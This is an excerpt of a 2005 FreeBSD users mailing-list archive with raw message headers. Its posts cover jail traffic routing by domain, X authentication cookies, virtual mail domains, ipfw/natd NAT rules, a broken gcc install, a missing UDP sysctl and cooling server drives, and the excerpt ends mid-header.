X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: Redirect based on domain name X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:29:03 -0000 On Sun, Feb 06, 2005 at 05:17:25PM +0800, r p wrote: > Hi, > > I've set up two jails on my system. I'm wondering if it's possible to > redirect incoming traffic to a particular jail based on the domain > name? > > So, if someone connected to "first.com" they would be directed to the > 192.168.0.1 jail, and if they connected to "second.com" they would be > directed to the 192.168.0.2 jail. Oops, I didn't read the message clearly the first time. Yes, you can do this pretty easily since your using two different ips. For all services that your running on multiple ips, you need to make sure that they bind only to their ip, not all ips like the default it. For sshd, set ListenAddress to the correct address in sshd_config. Then just make sure that first.com and second.com map to different ip addresses. > > I'd like to do it for www and ssh. Someone suggested to me that maybe > squid could be employed for the www part. > > At the moment I'm achieving this by listening for non-standard ports > on my firewall/gateway box and then redirecting to the correct jail > based on what port is connected to. > > Any ideas, or pointers? > > > --- > Rick > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:31:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1652B16A4CE for ; Sun, 6 Feb 2005 12:31:15 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.199]) by mx1.FreeBSD.org (Postfix) with ESMTP id 94DBD43D3F for ; Sun, 6 Feb 2005 12:31:14 +0000 (GMT) (envelope-from gert.cuykens@gmail.com) Received: by rproxy.gmail.com with SMTP id r35so676039rna for ; Sun, 06 Feb 2005 04:31:14 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=dYUD03dlN471zF+tYa566wi0bdapGBDArJy4OmLBoBMTigMirDPOZgWY5bpKxHh9pgapsHaOdkWGe3qvzjysh2to8bpQBWdEA2vqv4e3OIJ2R8s/XXjseBYniyQgWLCo1x7sRqu5DXt3rxI1HUhp+ynreeW5e/FdGNd7KKHihDs= Received: by 10.38.90.39 with SMTP id n39mr20837rnb; Sun, 06 Feb 2005 04:31:14 -0800 (PST) Received: by 10.38.74.23 with HTTP; Sun, 6 Feb 2005 04:31:13 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 13:31:13 +0100 From: Gert Cuykens To: "Loren M. Lang" In-Reply-To: <20050206100500.GQ8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <20050202210526.GC77499@keyslapper.net> <42014E0A.5070003@mac.com> <20050203225835.GX8619@alzatex.com> <20050205064704.GH8619@alzatex.com> <20050206100500.GQ8619@alzatex.com> cc: freebsd-questions@freebsd.org Subject: Re: xhost +localhost X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:31:15 -0000 On Sun, 6 Feb 2005 02:05:00 -0800, Loren M. Lang wrote: > > PS is the x cookie in anyway related to the user passwd ? > > Completely unrelated, it's just a random number basicly. > If it is a random number how can the xserver it user x random number and not user y random number ? From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:34:02 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8EDAC16A4CE for ; Sun, 6 Feb 2005 12:34:02 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id C30F143D1F for ; Sun, 6 Feb 2005 12:34:01 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j16CY0Gf017270 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 6 Feb 2005 04:34:01 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j16CY0UE017268 for freebsd-questions@freebsd.org; Sun, 6 Feb 2005 04:34:00 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Sun, 6 Feb 2005 04:34:00 -0800 From: "Loren M. Lang" To: FreeBSD Mailing list Message-ID: <20050206123400.GZ8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C Subject: Virtual Hosting multiple domains X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:34:02 -0000 Is there an easy way to run multiple domains off of one sendmail client without using jails? We're thinking about replacing mailsite from rockliffe with a unix solution instead. The problem is we need an easy way to run independent mail domains that each have their own accounts and can access them with imap and pop3 as well as web mail. The mail server should be able to determine the correct domain from name-based or ip-based virtual hosting. In other words, we don't want customers to have to uses usernames that include the domain like user%example.com. The pop3/imap server should determine that from the source ip or domain name used. -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:35:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AE43016A4CE for ; Sun, 6 Feb 2005 12:35:10 +0000 (GMT) Received: from hulk.superhero.nl (superhero.nl [213.84.142.150]) by mx1.FreeBSD.org (Postfix) with ESMTP id 99C3843D31 for ; Sun, 6 Feb 2005 12:35:09 +0000 (GMT) (envelope-from gelsemap@superhero.nl) Received: (qmail 41860 invoked by uid 1003); 6 Feb 2005 12:35:07 -0000 Received: from 10.202.77.10 by hulk.superhero.nl (envelope-from , uid 89) with qmail-scanner-1.24 (clamdscan: 0.80/533. spamassassin: 2.64. Clear:RC:1(10.202.77.10):. Processed in 1.736858 secs); 06 Feb 2005 12:35:07 -0000 Received: from unknown (HELO spiderman) (10.202.77.10) by hulk.superhero.nl with SMTP; 6 Feb 2005 12:35:03 -0000 From: "Gelsema, Patrick" To: "'Chris Hodgins'" Date: Sun, 6 Feb 2005 13:35:03 +0100 Message-ID: <000501c50c48$480c9550$0a4dca0a@superhero.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <4204E0BB.3090905@cis.strath.ac.uk> Importance: Normal cc: freebsd-questions@freebsd.org Subject: RE: natd or firewall problem? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:35:10 -0000 I think that has to depend on how your natting and firewalling is set up. Aka how do you manage incoming traffic, outgoing and forwarding traffic between 2 interfaces. I'm using ipchains for it, and I got my rules per interface setup, and do thorough checks regarding sources. But it is something that could work. Just have to work out your firewall rules. I use 2 types of dns, one for internal use, and the other for external. My 0,2 cents Patrick > -----Original Message----- > From: Chris Hodgins [mailto:chodgins@cis.strath.ac.uk] > Sent: Saturday, February 05, 2005 4:06 PM > To: Gelsema, Patrick > Cc: 'Cristian Salan'; 'Gelsema, Patrick'; > freebsd-questions@freebsd.org > Subject: Re: natd or firewall problem? > > > Gelsema, Patrick wrote: > > Thats right, you can do the following: > > Put the ip-address with its FQDn > (www.webserverwhatever.com) in every > > hosts file (taken its windows) or in its hosts file on > freebsd. Or you > > run an internal DNS with an internal zone for your domain whilst > > running on the internet the external zone. > > > > Regards, > > > > Patrick > > > > Out of interest, why would using the external ip address not work. > Would the packets not just be directed out to the router as per usual > and then the router would notice it should forward the packets to the > www server? What am I missing? The only problem I can think > of might > be sending packets back to the internal ip address. > > Thanks > Chris > > [snip] > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:37:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A1C6116A4D0 for ; Sun, 6 Feb 2005 12:37:26 +0000 (GMT) Received: from ctb-mesg2.saix.net (ctb-mesg2.saix.net [196.25.240.74]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0E76443D41 for ; Sun, 6 Feb 2005 12:37:26 +0000 (GMT) (envelope-from savage@savage.za.org) Received: from netsphere.cenergynetworks.com (wblv-146-208-196.telkomadsl.co.za [165.146.208.196]) by ctb-mesg2.saix.net (Postfix) with ESMTP id 75B5F2569 for ; Sun, 6 Feb 2005 14:37:22 +0200 (SAST) Received: from pmx.ournet.co.za ([198.19.0.73] helo=netsphere.cenergynetworks.com) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1CxlfG-000CzL-ps for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 14:37:22 +0200 Received: from [192.168.1.10] (helo=netphobia) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1CxlfF-000CzH-r0 for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 14:37:21 +0200 Message-ID: <001a01c50c48$a63ab0d0$0a01a8c0@ops.cenergynetworks.com> From: "Chris Knipe" To: Date: Sun, 6 Feb 2005 14:37:41 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Broken-Reverse-DNS: 192.168.1.10 X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.2.6.0 Subject: ipfw / ppp NAT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chris Knipe List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:37:26 -0000 Hi, Is there any way that I can get / configure ipfw / Kernel PPP to rewrite the source address via NAT? -- Chris. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:41:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9E8BB16A4CE for ; Sun, 6 Feb 2005 12:41:34 +0000 (GMT) Received: from out011.verizon.net (out011pub.verizon.net [206.46.170.135]) by mx1.FreeBSD.org (Postfix) with ESMTP id F2EFD43D3F for ; Sun, 6 Feb 2005 12:41:33 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out011.verizon.net ESMTP <20050206124133.DNSQ28171.out011.verizon.net@ringworm.mechee.com>; Sun, 6 Feb 2005 06:41:33 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 044BD2CE745; Sun, 6 Feb 2005 04:37:31 -0800 (PST) From: "Michael C. Shultz" To: Grant Peel Date: Sun, 6 Feb 2005 04:37:28 -0800 User-Agent: KMail/1.7.2 References: <027301c50c43$5851b8a0$6401a8c0@GRANT> In-Reply-To: <027301c50c43$5851b8a0$6401a8c0@GRANT> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502060437.29921.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out011.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 06:41:33 -0600 cc: freebsd-questions@freebsd.org Subject: Re: Broken Comiler X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:41:34 -0000 On Sunday 06 February 2005 03:59 am, Grant Peel wrote: > Hi all, > > A few weeks back, on of my raid drives cacked. > > Since then, I have not been able to comple anything. I get messages > like: > > (example while trying to .configure php4.3.10). > loading cache ./config.cache > checking host system type... i386-unknown-freebsd4.4 > checking for gcc... gcc > checking whether the C compiler (gcc ) works... no > configure: error: installation or configuration problem: C compiler > cannot create executables. > > I tried to rebuild the compiler from ports, but it would no make > either...keeps telling me to set cc to a working compiler... > > Is there any way to fix this short of rebuilding the whole os? A > bianary compiler perhaps? > > -Grant Two possible solutions: 1) Do a minimal install with sysinstall. Once gcc is working again then cvsup to update your sources and then rebuild the world kernel. 2) Try a pkg_add -r of a gcc in ports. -Mike From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:41:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 28CDF16A4CE for ; Sun, 6 Feb 2005 12:41:59 +0000 (GMT) Received: from ctb-mesg4.saix.net (ctb-mesg4.saix.net [196.25.240.76]) by mx1.FreeBSD.org (Postfix) with ESMTP id 821EC43D39 for ; Sun, 6 Feb 2005 12:41:58 +0000 (GMT) (envelope-from savage@savage.za.org) Received: from netsphere.cenergynetworks.com (wblv-146-208-196.telkomadsl.co.za [165.146.208.196]) by ctb-mesg4.saix.net (Postfix) with ESMTP id B878CACCF for ; Sun, 6 Feb 2005 14:41:54 +0200 (SAST) Received: from pmx.ournet.co.za ([198.19.0.73] helo=netsphere.cenergynetworks.com) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1Cxljd-000D0Q-sY for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 14:41:54 +0200 Received: from [192.168.1.10] (helo=netphobia) by netsphere.cenergynetworks.com with smtp (Exim 4.41) id 1Cxljc-000D0M-sa for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 14:41:52 +0200 Message-ID: <003001c50c49$48261b50$0a01a8c0@ops.cenergynetworks.com> From: "Chris Knipe" To: References: <001a01c50c48$a63ab0d0$0a01a8c0@ops.cenergynetworks.com> Date: Sun, 6 Feb 2005 14:42:13 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Broken-Reverse-DNS: 192.168.1.10 X-PMX-Version: 4.7.0.111621, Antispam-Engine: 2.0.2.0, Antispam-Data: 2005.2.6.0 Subject: Re: ipfw / ppp NAT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Chris Knipe List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:41:59 -0000 Ok wait, let me explain a bit more, because it seems the source-address is not my problem. y.y -> x.x -> x.1 y.y is a IP from the Internet x.x is the FreeBSD gateway, and x.1 is a client on a internal network I run NAT (via ipfw / ppp) on x.x. The packet comes in from y.y, via x.x, to x.1, HOWEVER, the source-address of the packet ariving at x.1 is still y.y. I want the source address of the packet ariving at x.1 to be x.x, and not y.y -- Chris. ----- Original Message ----- From: "Chris Knipe" To: Sent: Sunday, February 06, 2005 2:37 PM Subject: ipfw / ppp NAT > Hi, > > Is there any way that I can get / configure ipfw / Kernel PPP to rewrite > the source address via NAT? > > -- > Chris. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:53:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9048016A4CE for ; Sun, 6 Feb 2005 12:53:54 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id 57A5B43D31 for ; Sun, 6 Feb 2005 12:53:54 +0000 (GMT) (envelope-from michael@beethovenweb.com) Received: from beethoven.beethovenweb.com (pcp09078029pcs.mkethn01.fl.comcast.net[69.240.101.248]) by comcast.net (rwcrmhc11) with SMTP id <2005020612535301300k63l6e>; Sun, 6 Feb 2005 12:53:53 +0000 Message-Id: <6.2.0.14.2.20050206075018.03366738@garnet.acns.fsu.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.0.14 Date: Sun, 06 Feb 2005 07:53:54 -0500 To: freebsd-questions@freebsd.org From: "Michael R. Hines" Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Subject: where is net.inet.udp.sendspace? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:53:54 -0000 On my 5.3-RELEASE system, sysctl -a | grep net | grep space gives: net.local.stream.sendspace: 8192 net.local.stream.recvspace: 8192 net.local.dgram.recvspace: 4096 net.inet.tcp.sendspace: 32768 net.inet.tcp.recvspace: 65536 net.inet.udp.recvspace: 42080 net.inet.raw.recvspace: 8192 Where is udp.sendspace? I'm having some UDP "No buffer space available" problems, but the precise=20 sysctl variable corresponding to the problem doesn't seem to exist. Anyone else have this mysterious problem? /* ----------------------------------------------- */ Michael R. Hines Graduate Student, Dept. Computer Science Florida State University http://beethovenweb.com Jusqu'=E0 ce que le futur vienne........ /* ----------------------------------------------- */ =20 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 12:54:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0561616A4CE for ; Sun, 6 Feb 2005 12:54:15 +0000 (GMT) Received: from rwcrmhc11.comcast.net (rwcrmhc11.comcast.net [204.127.198.35]) by mx1.FreeBSD.org (Postfix) with ESMTP id BBDCB43D41 for ; Sun, 6 Feb 2005 12:54:14 +0000 (GMT) (envelope-from mhines@cs.fsu.edu) Received: from beethoven.cs.fsu.edu (pcp09078029pcs.mkethn01.fl.comcast.net[69.240.101.248]) by comcast.net (rwcrmhc11) with SMTP id <2005020612541401300k2erne>; Sun, 6 Feb 2005 12:54:14 +0000 Message-Id: <6.2.0.14.2.20050206075404.033686e8@garnet.acns.fsu.edu> X-Mailer: QUALCOMM Windows Eudora Version 6.2.0.14 Date: Sun, 06 Feb 2005 07:54:15 -0500 To: freebsd-questions@freebsd.org From: "Michael R. Hines" Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: quoted-printable Subject: where is net.inet.udp.sendspace? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 12:54:15 -0000 On my 5.3-RELEASE system, sysctl -a | grep net | grep space gives: net.local.stream.sendspace: 8192 net.local.stream.recvspace: 8192 net.local.dgram.recvspace: 4096 net.inet.tcp.sendspace: 32768 net.inet.tcp.recvspace: 65536 net.inet.udp.recvspace: 42080 net.inet.raw.recvspace: 8192 Where is udp.sendspace? I'm having some UDP "No buffer space available" problems, but the precise=20 sysctl variable corresponding to the problem doesn't seem to exist. Anyone else have this mysterious problem? /*********************************/ Michael R. Hines Grad Student, Florida State Dept. Computer Science http://www.cs.fsu.edu/~mhines/ Jusqu'=E0 ce que le futur vienne... /*********************************/ From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:01:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0AA9A16A4CE for ; Sun, 6 Feb 2005 13:01:45 +0000 (GMT) Received: from smtp1.bahnhof.se (smtp1.bahnhof.se [213.80.101.11]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5A63643D41 for ; Sun, 6 Feb 2005 13:01:44 +0000 (GMT) (envelope-from mark.rowlands@mypost.se) Received: from mfilter2.bahnhof.se (mail.bahnhof.se [213.136.33.1]) by re-injector-s1.bahnhof.se (Postfix) with ESMTP id 210281FCF17; Sun, 6 Feb 2005 14:01:43 +0100 (CET) Received: from localhost (mfilter2.local [127.0.0.1]) by re-injector2.bahnhof.se (Postfix) with ESMTP id 0C0B5AA522; Sun, 6 Feb 2005 14:01:43 +0100 (CET) Received: from smtp5.bahnhof.se ([213.136.33.1]) by localhost (mfilter2.bahnhof.se [10.0.1.22]) (amavisd-new, port 10024) with ESMTP id 15837-07; Sun, 6 Feb 2005 14:01:42 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se (81-170-150-191.bahnhofbredband.net [81.170.150.191]) by smtp5.bahnhof.se (Postfix) with ESMTP id 7910017349B; Sun, 6 Feb 2005 14:01:42 +0100 (CET) Received: from localhost (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id AD63AAC80E; Sun, 6 Feb 2005 14:01:28 +0100 (CET) Received: from pcmarpxy.mwrwin2k.se ([127.0.0.1]) by localhost (pcmarpxy.mwrwin2k.se [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 34818-04; Sun, 6 Feb 2005 14:01:25 +0100 (CET) Received: from localhost.mwrwin2k.se (localhost.mwrwin2k.se [127.0.0.1]) by pcmarpxy.mwrwin2k.se (Postfix) with ESMTP id 3D18EAC80B; Sun, 6 Feb 2005 14:01:25 +0100 (CET) From: Mark Rowlands To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 14:01:15 +0100 User-Agent: KMail/1.7.2 References: <200502051745.25937.hindrich@worldchat.com> <1088851878.20050206122453@wanadoo.fr> In-Reply-To: <1088851878.20050206122453@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061401.20967.mark.rowlands@mypost.se> X-Virus-Scanned: amavisd-new at bahnhof.se cc: Anthony Atkielski Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mark.rowlands@mypost.se List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:01:45 -0000 On Sunday 06 February 2005 12:24, Anthony Atkielski wrote: > Ted Mittelstaedt writes: > > TM> In a clean room or positive pressure network room, where there is > TM> an extremely low level of dust, off-the-shelf computer fans will > TM> last many years longer than fans in a typical home PC. > > What about filters? On my current FreeBSD server (not in a clean room, > alas!), the fans that I installed have washable plastic filters, which > removes part of the dust. I'd love to find disposable filters that > capture more dust and can simply be tossed at regular intervals. > Ideally, they wouldn't interfere with airflow too much, but I realize > that catching all dust and maintaining airflow are almost mutually > exclusive. I use my gfs tights....... christ... I hope she's not subscribed here as well > > Currently I have two 8-cm fans blowing directly past the disk drives, in > order to keep them as cool as possible (not that the drives are that > busy, but I'm trying to be prudent). > > TM> For PC's left on for long periods, they have a different problem > TM> because disk drives that spin at full speed continuiously (as > TM> server drives do, servers have power saving disabled on their > TM> drives of course for obvious reasons) the disk will eventually > TM> overheat in just about all the garden-variety case designs. > TM> (you can fix this yourself of course, by adding more fans to > TM> the cases) Once the drive overheats the lubrication migrates > TM> out of the bearings and if the drive is turned off for more > TM> than 6-8 hours, it cools down enough to the point that the drive > TM> will never spin up again. > > Interesting! Have you actually had this happen? I've had drives fail > on restart but not because they wouldn't spin up (as far as I know). yup.. but only on old scsi drives > I've had drives fail very quickly when I've packed too many of them into > a single case (as in weeks or months). We needed the additional space > and we were lucky to get the drives--asking for more fans or a better > case or anything like that would have been an exercise in futility. jeez how much does a fan cost? From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:01:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7EB2616A4CE for ; Sun, 6 Feb 2005 13:01:56 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id AF42A43D2D for ; Sun, 6 Feb 2005 13:01:55 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1Cxm30-0000Sn-VP; Sun, 06 Feb 2005 14:01:55 +0100 Date: Sun, 6 Feb 2005 14:01:52 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <797811732.20050206140152@hexren.net> To: Chris Knipe In-Reply-To: <003001c50c49$48261b50$0a01a8c0@ops.cenergynetworks.com> References: <001a01c50c48$a63ab0d0$0a01a8c0@ops.cenergynetworks.com> <003001c50c49$48261b50$0a01a8c0@ops.cenergynetworks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re[2]: ipfw / ppp NAT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 13:01:56 -0000 CK> Ok wait, CK> let me explain a bit more, because it seems the source-address is not my CK> problem. y.y ->> x.x -> x.1 CK> y.y is a IP from the Internet CK> x.x is the FreeBSD gateway, and CK> x.1 is a client on a internal network CK> I run NAT (via ipfw / ppp) on x.x. The packet comes in from y.y, via x.x, CK> to x.1, HOWEVER, the source-address of the packet ariving at x.1 is still CK> y.y. I want the source address of the packet ariving at x.1 to be x.x, and CK> not y.y CK> -- CK> Chris. CK> ----- Original Message ----- CK> From: "Chris Knipe" CK> To: CK> Sent: Sunday, February 06, 2005 2:37 PM CK> Subject: ipfw / ppp NAT >> Hi, >> >> Is there any way that I can get / configure ipfw / Kernel PPP to rewrite >> the source address via NAT? >> >> -- >> Chris. >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> CK> _______________________________________________ CK> freebsd-questions@freebsd.org mailing list CK> http://lists.freebsd.org/mailman/listinfo/freebsd-questions CK> To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" --------------------------------------------- given that tun0 is the interface that connects x.x to the world (y.y) then what you have now would be: "ipfw add divert natd all from any to any via tun0" from what I understand what you want you should probably add somethin like: "ipfw add divert natd all from any to any via rl0" rl0 being the interface connecting x.x to x.1 on related news, why would u want to do something like that ? Hexren From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 13:15:15 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4E1F116A4CE for ; Sun, 6 Feb 2005 13:15:15 +0000 (GMT) Received: from ctb-mesg1.saix.net (ctb-mesg1.saix.net [196.25.240.73]) by mx1.FreeBSD.org (Postfix) with ESMTP id 32DCE43D3F for ; Sun, 6 Feb 2005 13:15:14 +0000 (GMT) (envelope-from savage@savage.za.org) Received: from netsphere.cenergynetworks.com (wblv-146-208-196.telkomadsl.co.za [165.146.208.196]) by ctb-mesg1.saix.net (Postfix) with ESMTP id 8556C5490 for ; Sun, 6 Feb 2005 15:15:11 +0200 (SAST) Received: from pmx.ournet.co.za ([198.19.0.73] 